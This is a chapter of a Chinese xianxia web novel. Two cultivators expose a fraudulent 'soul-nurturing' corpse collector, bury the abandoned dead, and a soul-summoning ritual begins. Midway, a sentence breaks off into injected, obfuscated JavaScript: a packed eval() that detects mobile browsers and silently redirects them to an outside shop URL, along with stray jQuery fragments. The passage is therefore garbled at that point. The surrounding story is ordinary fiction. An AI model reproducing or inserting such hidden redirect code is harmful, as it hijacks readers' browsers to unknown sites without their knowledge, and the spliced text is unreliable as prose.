文趣网 > 其他小说 > 废柴也要去捉妖吗 > 16. 全是骗术
    听到熟悉的声音,跛三从稻草堆上跳了下来,一双泛白的瞳仁虽然辨认不出相貌,但他还是听出了眼前的人是谁。

    “哟,这不是沧澜城的两位修士嘛?你们二位来此地做甚?”跛三的鼻子往前嗅了嗅,惊得褚岁退后几步。

    褚岁皱着眉头,道:“应当是我问你吧,你作为李府的管家,不在李府好好呆着,怎么做起收尸的勾当了?”

    跛三赔笑道,循着褚岁出声的方向望去:“谁会嫌钱多呢,我眼瞎腿瘸,早就不该在李府待着了,老爷念及我年轻的时候一直伺候的情分,才没有赶我走,只是月俸这一块儿么,就完全不及其他人了,只得另找活路。”

    褚岁听了他的解释,倒也明白了,原来是一个贪财之人。

    她道:“那你能看见鬼神之说,还有养魂之说又是怎么回事?”

    跛三低下头,咬着舌头小声说道:“还不是为了生计,打的招牌么……”

    原来是个江湖骗子,那些丢魂之人原可以在家好好养着,如今跛三这样一闹,倒使那些人真陷入了万劫不复之地。

    褚岁一想到那么多无辜的生命,因迷信葬送,气不打一出来,真想踹死这个跛三。

    “你个江湖骗子!你还是人么!”

    跛三吓得退了几步,踩到草堆旁,差点没稳住身形。

    燕栩也攥紧拳头说道:“我师姐不是下令不需任何人出入李府么?难道我唐潇师兄的死与你有关?!”

    跛三道:“哎哟哎,别别别,可别这么说,我可没杀人。”

    说罢他又指了指自己那瞎掉的眼,还有那瘸了的腿。

    跛三道:“我都这样了,怎么有能力杀人呢。”

    燕栩上下打量了他一番,确有道理,唐潇再怎么说也是修道之人,怎会不敌一个瞎眼跛子?

    燕栩冷哼道:“量你也不敢。”

    跛三见两人收回怀疑,才松了口气,他轻声道:“不知二位今日来我这儿,是?总不能是叫我抬人吧。”

    褚岁道:“我们查李老爷失魂症,一路查到了你这儿,你平常抬的那些人都是如何处理的?”

    跛三听了她的话,支支吾吾一直没开口。

    “这……这……”

    燕栩见状就要挥拳,一把抓住跛三的衣领:“不要耽误我们的时间。”

    跛三吓了一跳,心里自认倒霉,打量了他两眼,从稻草堆上爬起来,动作慢得像一只老龟。

    他那条跛腿在地上拖着,每一步都发出“沙沙”的声响。

    他叹了口气,又似咬着牙说的:“跟我来吧。”

    也不知是谁告诉这两位大佛的消息,今日横竖是个死,跛三受不住威胁,只好带着两人朝庙里走去。

    破庙里面比外面更暗,阳光从屋顶的破洞里漏进来。

    空气里的尸臭更浓了,地上铺着厚厚的稻草,稻草上盖着一些破布,破布下面有什么东西鼓起来,一个接一个的,像是地里的坟包。

    跛三掀开破布,眼前的一幕让褚岁瞪大了眼,差点惊呼出声,饶是平日胆大的燕栩,也狠狠地咽了口唾沫。

    人,不,准确的来说是尸体。

    稻草堆上,横七竖八地躺着许多尸体,有完整的,也有腐烂得剩一具骨架的,还有不成形状,头骨,腿骨,不知在这儿放了多少年。

    那些完整的尸体,有的穿着绸缎,有的穿着粗布,有的脸上还残留着脂粉的痕迹,有的指甲盖已经发黑脱落。

    他们并排躺在一起,像码头上堆放的货物,一个挨着一个,一层叠着一层,密密麻麻地铺满了整个破庙的地面。

    没有人去掩埋他们。

    稻草在下面发了霉,长了毛,所以庙里庙外全是尸臭。

    褚岁的脑子“嗡”的一声,她看见了离她最近的那具尸体旁边,扔着一只小小的荷包。

    荷包是红色的,绣着一只歪歪扭扭的兔子,针脚粗糙,线头都露在外面,一看就是小孩子的手艺。

    她眼眶都被气红了,瞪着一旁的跛三道:“你就是这样养魂的?让这些人暴尸荒野?连个掩埋的地方都没有?”

    “埋?”跛三大有破罐子破摔之意,“埋了多费事。挖坑要力气,棺材要银子,纸钱要烧,烧了还要冒烟,冒了烟就有人看见,有人看见就会被问,被问就会传到玄鸟大仙耳朵里,传到了大仙耳朵里,谁担得起?”

    “收了人家那么多银子,”燕栩瞧他那无所谓的模样,更是怒火中烧,“你就这么办事的?”

    跛三摊了摊手,手上的木棍“啪嗒”一声掉在地上:“我能怎么办?我又不是真的能通阴阳。那些人送来的时候就已经没气了,我能怎么办?我就是一个瘸子,一个瞎了一只眼的糟老头子,我能怎么办?”

    他的声音忽然拔高了,带着一种近乎无赖的理直气壮,“我帮他们收了尸,没让那些尸体烂在大街上,已经是对得起他们了!他们家里人都没管,我这个外人——”

    他还没有说完燕栩就冲了上去。

    他的速度快到褚岁只看见一道影子闪过,紧接着是一声沉闷的拳头砸在肉上的声音。

    跛三闷哼一声,整个人往后一仰,摔倒在稻草堆上,后脑勺磕在墙上,发出一声钝响。

    他的鼻血从鼻孔里涌了出来,顺着嘴角往下淌,滴在他破破烂烂的衣襟上。

    “别……别打了……”跛三的声音在发抖,双手胡乱地在空中挥舞,像一只被翻过身的乌龟,“我帮你们埋……我这就埋……”

    燕栩蹲在他面前,一只手揪着他的衣领,另一只手抬着,拳头还攥着。

    他的呼吸很重,胸膛起伏得很厉害,然后他松开了手。

    燕栩站起来,转过身,背对着跛三,声音带着几分哑:“褚七,搬人。”

    那天下午,燕栩和褚岁在破庙里进进出出了几十趟。

    他们一具一具地把那些尸体从稻草堆上抬起来,背到背上,运到庙外的空地上。

    燕栩和褚岁把尸体一具一具地背出来,在空地上排成一排,说不清有多少具。

    无数个许过愿的人,无论是赢过钱,还是发了财,更或是以为自己转运了的人。

    燕栩和褚岁从万金城的牙行雇了几个苦力,在城外找了一块安静的荒地,挖了无数个坑。

    坑不深,但够宽,每个人都有自己的位置,

    褚岁和燕栩站在最后一座坟前。

    墓碑是一块粗糙的青石板,上面没有字。不是不想写,是不知道写什么。

    不知道他叫什么名字,不知道他多大年纪,不知道他许了什么愿,不知道他在变成这样之前,有没有吃过一顿饱饭,有没有跟家人好好地道过别。

    回城的路上,两个人都没有说话。

    万金城依旧繁华,像是什么都没有发生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582435|203990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过。

    街道上依旧车水马龙,商铺里依旧人声鼎沸,乞丐的破碗旁边依旧摆着擦得锃亮的铜壶。

    每个人都忙着赚钱,每个人都忙着许愿,每个人都忙着跪在玄鸟大仙的帷幔前,双手合十,虔诚地献上自己最珍贵的东西。

    没有人知道他们献上的到底是什么,直到他再也回不来。

    褚岁走得很慢,燕栩也走得很慢。

    两个人并肩走在万金城宽阔的街道上,被来来往往的行人推着挤着。

    走到李府门口的时候,褚岁忽然停下了脚步。

    燕栩也停了下来,转头看她。

    褚岁一下子扑入燕栩怀里,单薄的肩头撞进他衣襟间,带着身上淡淡的脂粉软香。

    少女细软的发丝蹭过他颈侧,温热的脸颊埋在他衣料上。

    褚岁身子轻轻发颤,燕栩能清晰触到她止不住的细微抽噎。

    这是他们的第二次拥抱,可不同于上次,燕栩并没有垂下手,此刻也没有半分避让,反而顺势收拢,将怀中的人搂得更紧。

    他掌心贴着褚岁单薄的后背,缓慢轻柔地拍抚着,任由少女闷闷的哭音窝在自己怀中散开。

    -

    玄鸟神社快到了。

    云渺渺手里捧着那只青铜罗盘,罗盘中央的灵石微微发光。

    她闭上眼睛,深吸一口气,再睁开时,那双杏眼里多了一种与年龄不符的沉静。

    “李老爷的魂魄还在里面。”她的声音不大,但很稳,“我能感觉到。很弱,但没有消散。”

    褚清风是走在最后面的,从踏进这条街开始,他的脚步就慢了下来。

    起初燕观霜没有注意,以为他只是走得慢了。

    可当她停下来查看神社外观的时候,褚清风还站在十几步开外的地方,低着头,不知道在看什么。

    “清风?”燕观霜喊了一声。

    褚清风抬起头,脸上挂着那抹惯常的的笑容:“来了。”

    三个人进了神社,燕观霜与褚清风合力设了结界,可以抵挡一阵子的人流,在她们寻回李老爷魂魄之前,不会有人到神社来。

    云渺渺没有多耽搁,她将青铜罗盘放在供桌上,她盘腿坐在供桌前,双手掐诀,闭上双眼。

    “引魂阵,起。”

    青铜罗盘上的灵石骤然亮起,银白色的光芒从盘面涌出,顺着阵旗上的银线旋转蔓延。

    燕观霜站在她身后半步的位置,她拿着剑,时刻警惕着周围的变化。

    褚清风站在破败的帷幔的侧面,背对着燕观霜,这帷幔昨日被划破了,只有一堵灰墙,此时他正盯着灰墙发呆。

    “清风。”燕观霜轻声喊了一句。

    褚清风的身体微微一僵,他转过身来。

    “怎么了?”他问。

    燕观霜柔声道:“昨日就见你魂不守舍的,可是身体不舒服?”

    褚清风笑着摇了摇头:“或许是有些水土不服吧。”

    燕观霜还没回答,她的目光就落在了他的腰间,那里空空荡荡。

    沧澜城弟子随身佩剑,尤其是褚家剑修,每一把剑都是由褚家长老打造而成,如此宝贝的东西,他为何会忘记带?

    还没来得及发问,就听见云渺渺喊道:“师姐!李老爷的魂,我招回去了!”

    与此同时,李府的厢房里,李老爷忽然眨了一下眼睛。